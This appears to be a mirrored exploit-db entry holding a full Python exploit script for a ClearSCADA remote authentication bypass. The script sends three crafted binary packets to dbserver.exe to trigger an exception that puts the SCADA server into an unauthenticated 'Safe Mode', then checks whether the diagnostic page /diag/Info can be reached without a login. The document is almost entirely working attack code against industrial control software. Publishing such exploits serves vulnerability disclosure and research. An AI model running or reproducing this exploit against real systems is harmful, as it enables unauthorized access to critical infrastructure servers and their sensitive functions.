ClearSCADA – Remote Authentication Bypass

  • 作者: Jeremy Brown
    日期: 2015-01-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35924/
  • #!/usr/bin/python
    # cs-auby.py
    # ClearSCADA Remote Authentication Bypass Exploit
    #
    # Jeremy Brown
    # [jbrown3264/gmail]
    #
    # Oct 2010 (released Jan 2015)
    #
    # There is an authentication bypass vulnerability in ClearSCADA that can be
    # exploited by triggering an exception in dbserver.exe and taking advantage
    # of the way the program handles it.
    #
    # When an exception in occurs, ClearSCADA enters "Safe Mode". This exposes
    # it's diagnostic functions to remote users without requiring a valid login
    # as it would normally. A remote attacker could view senstive information
    # and possibly modify functions of the server running on the affected host.
    #
    # This code triggers an exception in dbserver.exe and checks to see if you
    # can then access the diagnostic page without authentication.
    #
    # Tested on ClearSCADA 2010R1 running on Windows
    #
    # Fix information: http://ics-cert.us-cert.gov/advisories/ICSA-11-173-01
    #
    
    import sys
    import socket
    import httplib
    import urllib
    from time import sleep
    
    pkt_1=(
    "\xfb\x0e\x45\x06\x0e\x00\x00\x00\x18\x00\x00\x00"
    "\x49\x00\x50\x00\x20\x00\x31\x00\x32\x00\x37\x00\x2e\x00\x30\x00"
    "\x2e\x00\x30\x00\x2e\x00\x31\x00\x2c\x00\x20\x00\x53\x00\x65\x00"
    "\x73\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x20\x00\x30\x00\x00\x00"
    "\x08\x00\x00\x00"
    )
    
    pkt_2=(
    "\x00\x00\x00\x00"
    "\x26\x00\x00\x00"
    "\x08\x00\x00\x00\x0f\x00\x00\x00\x43\x00\x72\x00\x79\x00\x73\x00"
    "\x74\x00\x61\x00\x6c\x00\x52\x00\x65\x00\x70\x00\x6f\x00\x72\x00"
    "\x74\x00\x73\x00\x00\x00"
    )
    
    pkt_3=( # "Exception Occured"
    "\x00\x00\x00\x00\xd7\x01\x00\x00\x34\x00\x00\x00\x0d\x00\x00\x00"
    "\x09\x00\x00\x00\x43\x00\x50\x00\x72\x00\x6f\x00\x66\x00\x69\x00"
    "\x6c\x00\x65\x00\x00\x00\x0e\x00\x00\x00\x43\x00\x50\x00\x72\x00"
    "\x6f\x00\x66\x00\x69\x00\x6c\x00\x65\x00\x46\x00\x6c\x00\x6f\x00"
    "\x61\x00\x74\x00\x00\x00\x0e\x00\x00\x00\x43\x00\x50\x00\x72\x00"
    "\x6f\x00\x66\x00\x69\x00\x6c\x00\x65\x00\x55\x00\x4c\x00\x6f\x00"
    "\x6e\x00\x67\x00\x00\x00\x0d\x00\x00\x00\x43\x00\x50\x00\x72\x00"
    "\x6f\x00\x66\x00\x69\x00\x6c\x00\x65\x00\x4c\x00\x6f\x00\x6e\x00"
    "\x67\x00\x00\x00\x10\x00\x00\x00\x43\x00\x41\x00\x64\x00\xBB\x00" # last w0rd
    "\x00\x42\x00\x49\x00\x54\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65"
    "\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x11\x00\x00\x00\x43\x00\x41"
    "\x00\x64\x00\x76\x00\x42\x00\x59\x00\x54\x00\x45\x00\x56\x00\x61"
    "\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x11"
    "\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76\x00\x57\x00\x4f\x00\x52"
    "\x00\x44\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61"
    "\x00\x70\x00\x00\x00\x11\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76"
    "\x00\x44\x00\x49\x00\x4e\x00\x54\x00\x56\x00\x61\x00\x6c\x00\x75"
    "\x00\x65\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x12\x00\x00\x00\x43"
    "\x00\x41\x00\x64\x00\x76\x00\x55\x00\x44\x00\x49\x00\x4e\x00\x54"
    "\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70"
    "\x00\x00\x00\x11\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76\x00\x52"
    "\x00\x45\x00\x41\x00\x4c\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65"
    "\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x13\x00\x00\x00\x43\x00\x41"
    "\x00\x64\x00\x76\x00\x44\x00\x4f\x00\x55\x00\x42\x00\x4c\x00\x45"
    "\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70"
    "\x00\x00\x00\x13\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76\x00\x53"
    "\x00\x74\x00\x72\x00\x69\x00\x6e\x00\x67\x00\x56\x00\x61\x00\x6c"
    "\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x0f\x00\x00"
    "\x00\x43\x00\x43\x00\x72\x00\x79\x00\x73\x00\x74\x00\x61\x00\x6c"
    "\x00\x52\x00\x65\x00\x70\x00\x6f\x00\x72\x00\x74\x00\x00\x00\x00"
    )
    
    port=5481
    s_port=443
    
    
    def do_ssl(target,port):
    try:
    conn = httplib.HTTPSConnection(target,port)
    conn._http_vsn = 10
    conn._http_vsn_str = "HTTP/1.0"
    
    conn.request("GET","/diag/Info")
    
    resp = conn.getresponse()
    conn.close()
    
    except Exception, error:
    print("Error: %s" % error)
    return None
    
    return resp
    
    
    def main():
    
    if len(sys.argv)!=2:
     print("Usage: %s <target>" % sys.argv[0])
     sys.exit(0)
    
    target=sys.argv[1]
    cs=target,port
    
    print "Checking server status..."
    
    resp = do_ssl(target,s_port)
    
    if(resp == None):
    return
    
    if(resp.status==301):
    print "Server status is normal.\n"
    
    elif(resp.status==200):
    print "Server is already in safe mode."
    sys.exit(1)
    
    elif((resp.status!=301)|(resp.status!=200)):
    print("Server returned %d %s, server state unknown.\nContinuing anyways..\n" % (resp.status,resp.reason))
    
    print("Sending packets to trigger exception...\n")
    
    try:
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect(cs)
    
    sock.send(pkt_1)
    resp_1 = sock.recv(32)
    
    sock.send(pkt_2)
    resp_2 = sock.recv(32)
    
    sock.send(pkt_3)
    resp_3 = sock.recv(32)
    
    sock.close()
    
    except Exception, error:
    print("Error: %s" % error)
    return None
    
    print("Finished, checking server status again...")
    
    sleep(1)
    
    resp = do_ssl(target,s_port)
    
    if(resp == None):
    return
    
    if(resp.status==301):
     print("Server status is still normal, maybe it's patched..\n")
    
    elif(resp.status==200):
     print("Server entered \"safe\" mode :)\n")
     print("Surf on over to https://%s:443/diag/Info to explore" % target)
    
    elif((resp.status!=301)|(resp.status!=200)):
     print("Server returned %d %s, server state unknown." % (resp.status,resp.reason))
    
    
    if __name__ == "__main__":
    main()